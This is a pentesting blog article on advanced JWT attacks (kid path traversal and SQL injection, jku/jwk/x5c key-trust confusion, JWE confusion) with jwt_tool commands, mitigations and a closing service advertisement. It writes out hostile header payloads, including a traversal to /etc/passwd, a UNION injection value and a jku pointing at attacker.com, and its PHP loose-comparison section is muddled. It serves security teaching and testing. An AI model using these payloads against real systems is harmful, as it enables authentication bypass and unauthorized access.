Advanced JWT Attacks: kid Path Traversal, JWE Confusion, JWK Trust

Manish Garg
Manish Garg Associate of (ISC)² · RingSafe
Apr 25, 2026
3 min read

Last updated: April 26, 2026

Beyond the classic alg:none and RS256-to-HS256 attacks, modern JWT implementations face newer attack vectors — kid path traversal, JWE confusion, embedded JWK trust, x5c header confusion. This article covers the advanced JWT attacks for 2026 pentesters.

kid path traversal

The kid (Key ID) header points to a key. If the server uses kid as a file path or DB lookup without sanitisation:

# JWT header:
{"alg":"HS256","kid":"../../../../dev/null","typ":"JWT"}

# Server reads /dev/null as the key (empty)
# Attacker signs with empty string HMAC key
# Server verifies — empty key matches empty key

Test by setting kid to ../../../etc/passwd or known-content paths. The server’s HMAC verification with that file’s content as key is then crackable or known.

kid SQL injection

# If kid is concatenated into SQL:
SELECT key FROM keys WHERE id = '$kid'

# Attacker JWT with:
{"kid":"x' UNION SELECT 'attackersecret'-- "}
# DB returns 'attackersecret', server uses that to verify
# Attacker signed with 'attackersecret' offline; verification succeeds

jku / x5u trust confusion

JWT supports jku (JWK Set URL) and x5u (X.509 URL) headers — pointers to where the verifying key lives. If server fetches keys from these URLs without allow-list:

# Attacker:
1. Host JWK Set at https://attacker.com/jwks.json
2. Generate JWT with header:
   {"alg":"RS256","kid":"1","jku":"https://attacker.com/jwks.json"}
3. Sign with attacker's private key (matching public key in attacker's JWKS)
4. Send to target. Target fetches JWKS, finds key with kid:1, verifies, accepts

Embedded JWK (jwk header) confusion

Some libraries trust jwk header — the public key embedded directly in the JWT itself.

# Attacker JWT:
{
  "alg":"RS256",
  "jwk":{"kty":"RSA","e":"AQAB","n":"<attacker's public key>"}
}
# Library: "the JWT carries its own verification key, use it"
# Verification trivially succeeds; no validation of WHO published the key

Mitigation: never trust headers for key location; pin the key set server-side.

JWE confusion

JWE (JSON Web Encryption) is the encrypted variant. Some libraries handle JWS (signed) and JWE (encrypted) differently; some treat them the same. If the server’s JWE implementation doesn’t validate the encryption algorithm strictly, downgrade attacks apply (RSA-OAEP with attacker-chosen ciphertext, ECDH key agreement bypasses).

x5c header injection

The x5c header carries the certificate chain. If the server uses x5c to verify (rather than a pinned key):

  • Attacker provides their own cert chain
  • If the server trusts the signing CA in the chain (or doesn’t validate the chain), attacker-controlled keys are accepted

None-encoded confusion (PHP-specific)

# PHP's json_decode silently converts JSON strings to integer 0 in some flows
# Server logic:
if (verify($jwt) === 0) { ... allow ... }

# Attacker creates JWT that fails verification but returns string error
# String compares equal to 0 in loose comparison
# Bypass

Practical testing — jwt_tool

# Install
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool && pip install -r requirements.txt

# Comprehensive scan
python3 jwt_tool.py <TOKEN> -M at  # All tampers

# Specific attacks
python3 jwt_tool.py <TOKEN> -X a   # alg:none
python3 jwt_tool.py <TOKEN> -X k   # kid injection
python3 jwt_tool.py <TOKEN> -X i   # jku injection
python3 jwt_tool.py <TOKEN> -X j   # jwk header injection
python3 jwt_tool.py <TOKEN> -C -d wordlist.txt  # crack HMAC

The fix

  • Hard-code expected algorithm — never trust alg from header
  • Pin the verification key set server-side — never trust jku, x5u, jwk, x5c from JWT
  • Validate kid against expected key identifiers (allow-list); never use as path or SQL parameter
  • Strong HMAC keys if using HS256 — 256+ random bits
  • Short-lived tokens — 5-15 minutes

The takeaway

JWT is a security-critical primitive that is easy to misconfigure. Run jwt_tool against every JWT in your environment. The advanced attacks above (kid traversal, jku injection, JWE confusion) are present in real production code in 2026. Library updates plus hard-coded algorithm + pinned keys closes the bug class.

Need a real pentest?

Get a VAPT scoping call

Senior practitioner-led VAPT — not a checklist run by juniors. CVSS-scored findings, free retest, attestation letter. India's SMBs and SaaS teams.

Book VAPT scoping call Replies in 4 working hrs · India-only · Senior consultants